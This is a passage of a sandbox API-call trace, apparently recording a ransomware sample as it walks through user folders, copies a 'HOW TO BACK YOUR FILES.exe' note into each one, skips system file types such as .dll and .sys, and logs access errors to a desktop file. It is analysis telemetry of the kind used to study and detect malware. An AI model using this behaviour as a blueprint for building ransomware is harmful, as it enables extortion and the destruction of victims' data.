	[0040.254] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.254] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.258] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.258] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5a55e80, ftCreationTime.dwHighDateTime=0x1d4c728, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x301ad4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.259] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.259] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.259] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="-ykLo9035QfZavi.flv" | out: lpString1="-ykLo9035QfZavi.flv") returned="-ykLo9035QfZavi.flv"
	[0040.259] lstrlenW (lpString="-ykLo9035QfZavi.flv") returned 19
	[0040.259] lstrlenW (lpString="Apollon865") returned 10
	[0040.259] lstrcmpiW (lpString1="QfZavi.flv", lpString2="Apollon865") returned 1
	[0040.259] lstrlenW (lpString=".dll") returned 4
	[0040.259] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".dll") returned 1
	[0040.259] lstrlenW (lpString=".lnk") returned 4
	[0040.259] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".lnk") returned 1
	[0040.259] lstrlenW (lpString=".ini") returned 4
	[0040.259] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".ini") returned 1
	[0040.259] lstrlenW (lpString=".sys") returned 4
	[0040.259] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".sys") returned 1
	[0040.259] lstrlenW (lpString="-ykLo9035QfZavi.flv") returned 19
	[0040.259] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CTJo.swf" | out: lpString1="CTJo.swf") returned="CTJo.swf"
	[0040.259] lstrlenW (lpString="CTJo.swf") returned 8
	[0040.259] lstrlenW (lpString="Apollon865") returned 10
	[0040.259] lstrlenW (lpString=".dll") returned 4
	[0040.259] lstrcmpiW (lpString1="CTJo.swf", lpString2=".dll") returned 1
	[0040.259] lstrlenW (lpString=".lnk") returned 4
	[0040.259] lstrcmpiW (lpString1="CTJo.swf", lpString2=".lnk") returned 1
	[0040.259] lstrlenW (lpString=".ini") returned 4
	[0040.259] lstrcmpiW (lpString1="CTJo.swf", lpString2=".ini") returned 1
	[0040.259] lstrlenW (lpString=".sys") returned 4
	[0040.259] lstrcmpiW (lpString1="CTJo.swf", lpString2=".sys") returned 1
	[0040.259] lstrlenW (lpString="CTJo.swf") returned 8
	[0040.259] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="dM1P.avi" | out: lpString1="dM1P.avi") returned="dM1P.avi"
	[0040.259] lstrlenW (lpString="dM1P.avi") returned 8
	[0040.259] lstrlenW (lpString="Apollon865") returned 10
	[0040.259] lstrlenW (lpString=".dll") returned 4
	[0040.259] lstrcmpiW (lpString1="dM1P.avi", lpString2=".dll") returned 1
	[0040.260] lstrlenW (lpString=".lnk") returned 4
	[0040.260] lstrcmpiW (lpString1="dM1P.avi", lpString2=".lnk") returned 1
	[0040.260] lstrlenW (lpString=".ini") returned 4
	[0040.260] lstrcmpiW (lpString1="dM1P.avi", lpString2=".ini") returned 1
	[0040.260] lstrlenW (lpString=".sys") returned 4
	[0040.260] lstrcmpiW (lpString1="dM1P.avi", lpString2=".sys") returned 1
	[0040.260] lstrlenW (lpString="dM1P.avi") returned 8
	[0040.260] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="e5e zfC0T_Di" | out: lpString1="e5e zfC0T_Di") returned="e5e zfC0T_Di"
	[0040.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0040.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a998
	[0040.260] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0040.260] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0e850, ftCreationTime.dwHighDateTime=0x1d4d10b, ftLastAccessTime.dwLowDateTime=0xb1ab8790, ftLastAccessTime.dwHighDateTime=0x1d4c657, ftLastWriteTime.dwLowDateTime=0xb1ab8790, ftLastWriteTime.dwHighDateTime=0x1d4c657, nFileSizeHigh=0x0, nFileSizeLow=0xc787, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hMdjSkNImm.flv", cAlternateFileName="HMDJSK~1.FLV")) returned 1
	[0040.260] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.260] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="Apollon865.txt.exe") returned 1
	[0040.260] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="hMdjSkNImm.flv" | out: lpString1="hMdjSkNImm.flv") returned="hMdjSkNImm.flv"
	[0040.260] lstrlenW (lpString="hMdjSkNImm.flv") returned 14
	[0040.260] lstrlenW (lpString="Apollon865") returned 10
	[0040.260] lstrcmpiW (lpString1="SkNImm.flv", lpString2="Apollon865") returned 1
	[0040.260] lstrlenW (lpString=".dll") returned 4
	[0040.260] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".dll") returned 1
	[0040.260] lstrlenW (lpString=".lnk") returned 4
	[0040.260] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".lnk") returned 1
	[0040.260] lstrlenW (lpString=".ini") returned 4
	[0040.260] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".ini") returned 1
	[0040.260] lstrlenW (lpString=".sys") returned 4
	[0040.260] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".sys") returned 1
	[0040.260] lstrlenW (lpString="hMdjSkNImm.flv") returned 14
	[0040.260] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="hUhIX4W.swf" | out: lpString1="hUhIX4W.swf") returned="hUhIX4W.swf"
	[0040.260] lstrlenW (lpString="hUhIX4W.swf") returned 11
	[0040.260] lstrlenW (lpString="Apollon865") returned 10
	[0040.260] lstrcmpiW (lpString1="UhIX4W.swf", lpString2="Apollon865") returned 1
	[0040.260] lstrlenW (lpString=".dll") returned 4
	[0040.260] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".dll") returned 1
	[0040.260] lstrlenW (lpString=".lnk") returned 4
	[0040.261] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".lnk") returned 1
	[0040.261] lstrlenW (lpString=".ini") returned 4
	[0040.261] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".ini") returned 1
	[0040.261] lstrlenW (lpString=".sys") returned 4
	[0040.261] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".sys") returned 1
	[0040.261] lstrlenW (lpString="hUhIX4W.swf") returned 11
	[0040.261] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="kg4BkPply.mp4" | out: lpString1="kg4BkPply.mp4") returned="kg4BkPply.mp4"
	[0040.261] lstrlenW (lpString="kg4BkPply.mp4") returned 13
	[0040.261] lstrlenW (lpString="Apollon865") returned 10
	[0040.261] lstrcmpiW (lpString1="BkPply.mp4", lpString2="Apollon865") returned 1
	[0040.261] lstrlenW (lpString=".dll") returned 4
	[0040.261] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".dll") returned 1
	[0040.261] lstrlenW (lpString=".lnk") returned 4
	[0040.261] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".lnk") returned 1
	[0040.261] lstrlenW (lpString=".ini") returned 4
	[0040.261] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".ini") returned 1
	[0040.261] lstrlenW (lpString=".sys") returned 4
	[0040.261] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".sys") returned 1
	[0040.261] lstrlenW (lpString="kg4BkPply.mp4") returned 13
	[0040.261] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="KHIT0JHvy.mkv" | out: lpString1="KHIT0JHvy.mkv") returned="KHIT0JHvy.mkv"
	[0040.261] lstrlenW (lpString="KHIT0JHvy.mkv") returned 13
	[0040.261] lstrlenW (lpString="Apollon865") returned 10
	[0040.261] lstrcmpiW (lpString1="T0JHvy.mkv", lpString2="Apollon865") returned 1
	[0040.261] lstrlenW (lpString=".dll") returned 4
	[0040.261] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".dll") returned 1
	[0040.261] lstrlenW (lpString=".lnk") returned 4
	[0040.261] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".lnk") returned 1
	[0040.261] lstrlenW (lpString=".ini") returned 4
	[0040.261] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".ini") returned 1
	[0040.261] lstrlenW (lpString=".sys") returned 4
	[0040.261] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".sys") returned 1
	[0040.261] lstrlenW (lpString="KHIT0JHvy.mkv") returned 13
	[0040.261] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="XtiKqp9gHs3RY.avi" | out: lpString1="XtiKqp9gHs3RY.avi") returned="XtiKqp9gHs3RY.avi"
	[0040.262] lstrlenW (lpString="XtiKqp9gHs3RY.avi") returned 17
	[0040.262] lstrlenW (lpString="Apollon865") returned 10
	[0040.262] lstrcmpiW (lpString1="gHs3RY.avi", lpString2="Apollon865") returned 1
	[0040.262] lstrlenW (lpString=".dll") returned 4
	[0040.262] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".dll") returned 1
	[0040.262] lstrlenW (lpString=".lnk") returned 4
	[0040.262] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".lnk") returned 1
	[0040.262] lstrlenW (lpString=".ini") returned 4
	[0040.262] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".ini") returned 1
	[0040.262] lstrlenW (lpString=".sys") returned 4
	[0040.262] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".sys") returned 1
	[0040.262] lstrlenW (lpString="XtiKqp9gHs3RY.avi") returned 17
	[0040.262] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di"
	[0040.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0040.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0040.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di") returned 55
	[0040.262] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di"
	[0040.262] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.271] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.271] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79bee600, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x301ad4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.271] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.271] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.271] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="OIDNw4frb_ flBaePwz.mkv" | out: lpString1="OIDNw4frb_ flBaePwz.mkv") returned="OIDNw4frb_ flBaePwz.mkv"
	[0040.271] lstrlenW (lpString="OIDNw4frb_ flBaePwz.mkv") returned 23
	[0040.271] lstrlenW (lpString="Apollon865") returned 10
	[0040.271] lstrcmpiW (lpString1="BaePwz.mkv", lpString2="Apollon865") returned 1
	[0040.271] lstrlenW (lpString=".dll") returned 4
	[0040.271] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".dll") returned 1
	[0040.271] lstrlenW (lpString=".lnk") returned 4
	[0040.271] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".lnk") returned 1
	[0040.271] lstrlenW (lpString=".ini") returned 4
	[0040.271] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".ini") returned 1
	[0040.271] lstrlenW (lpString=".sys") returned 4
	[0040.271] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".sys") returned 1
	[0040.271] lstrlenW (lpString="OIDNw4frb_ flBaePwz.mkv") returned 23
	[0040.271] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Pc1dFyjBDU.flv" | out: lpString1="Pc1dFyjBDU.flv") returned="Pc1dFyjBDU.flv"
	[0040.271] lstrlenW (lpString="Pc1dFyjBDU.flv") returned 14
	[0040.271] lstrlenW (lpString="Apollon865") returned 10
	[0040.271] lstrcmpiW (lpString1="FyjBDU.flv", lpString2="Apollon865") returned 1
	[0040.271] lstrlenW (lpString=".dll") returned 4
	[0040.271] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".dll") returned 1
	[0040.271] lstrlenW (lpString=".lnk") returned 4
	[0040.271] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".lnk") returned 1
	[0040.271] lstrlenW (lpString=".ini") returned 4
	[0040.271] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".ini") returned 1
	[0040.271] lstrlenW (lpString=".sys") returned 4
	[0040.271] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".sys") returned 1
	[0040.271] lstrlenW (lpString="Pc1dFyjBDU.flv") returned 14
	[0040.272] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="sbPuJ-Xq.mkv" | out: lpString1="sbPuJ-Xq.mkv") returned="sbPuJ-Xq.mkv"
	[0040.272] lstrlenW (lpString="sbPuJ-Xq.mkv") returned 12
	[0040.272] lstrlenW (lpString="Apollon865") returned 10
	[0040.272] lstrcmpiW (lpString1="PuJ-Xq.mkv", lpString2="Apollon865") returned 1
	[0040.272] lstrlenW (lpString=".dll") returned 4
	[0040.272] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".dll") returned 1
	[0040.272] lstrlenW (lpString=".lnk") returned 4
	[0040.272] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".lnk") returned 1
	[0040.272] lstrlenW (lpString=".ini") returned 4
	[0040.272] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".ini") returned 1
	[0040.272] lstrlenW (lpString=".sys") returned 4
	[0040.272] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".sys") returned 1
	[0040.272] lstrlenW (lpString="sbPuJ-Xq.mkv") returned 12
	[0040.272] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="uug0I.flv" | out: lpString1="uug0I.flv") returned="uug0I.flv"
	[0040.272] lstrlenW (lpString="uug0I.flv") returned 9
	[0040.272] lstrlenW (lpString="Apollon865") returned 10
	[0040.272] lstrlenW (lpString=".dll") returned 4
	[0040.272] lstrcmpiW (lpString1="uug0I.flv", lpString2=".dll") returned 1
	[0040.272] lstrlenW (lpString=".lnk") returned 4
	[0040.272] lstrcmpiW (lpString1="uug0I.flv", lpString2=".lnk") returned 1
	[0040.272] lstrlenW (lpString=".ini") returned 4
	[0040.272] lstrcmpiW (lpString1="uug0I.flv", lpString2=".ini") returned 1
	[0040.272] lstrlenW (lpString=".sys") returned 4
	[0040.272] lstrcmpiW (lpString1="uug0I.flv", lpString2=".sys") returned 1
	[0040.272] lstrlenW (lpString="uug0I.flv") returned 9
	[0040.272] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates"
	[0040.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcd80 | out: hHeap=0x580000) returned 1
	[0040.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0040.272] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned 39
	[0040.272] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates"
	[0040.272] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.272] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.280] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 0xffffffff
	[0040.280] GetLastError () returned 0x5
	[0040.280] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\* FindFirstFile error 5\r\n") returned 73
	[0040.280] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\* FindFirstFile error 5\r\n") returned 73
	[0040.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.280] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf26
	[0040.280] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x49, lpOverlapped=0x0) returned 1
	[0040.280] CloseHandle (hObject=0x14c) returned 1
	[0040.281] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0040.281] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu"
	[0040.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0040.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0040.281] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned 40
	[0040.281] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu"
	[0040.281] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.281] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.289] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 0xffffffff
	[0040.289] GetLastError () returned 0x5
	[0040.289] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\* FindFirstFile error 5\r\n") returned 74
	[0040.289] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\* FindFirstFile error 5\r\n") returned 74
	[0040.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.289] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf6f
	[0040.289] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x4a, lpOverlapped=0x0) returned 1
	[0040.289] CloseHandle (hObject=0x154) returned 1
	[0040.290] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0040.290] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo"
	[0040.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcd28 | out: hHeap=0x580000) returned 1
	[0040.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0040.290] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned 36
	[0040.290] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo"
	[0040.290] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.290] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.297] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 0xffffffff
	[0040.297] GetLastError () returned 0x5
	[0040.297] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\* FindFirstFile error 5\r\n") returned 70
	[0040.297] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\* FindFirstFile error 5\r\n") returned 70
	[0040.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.297] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb9
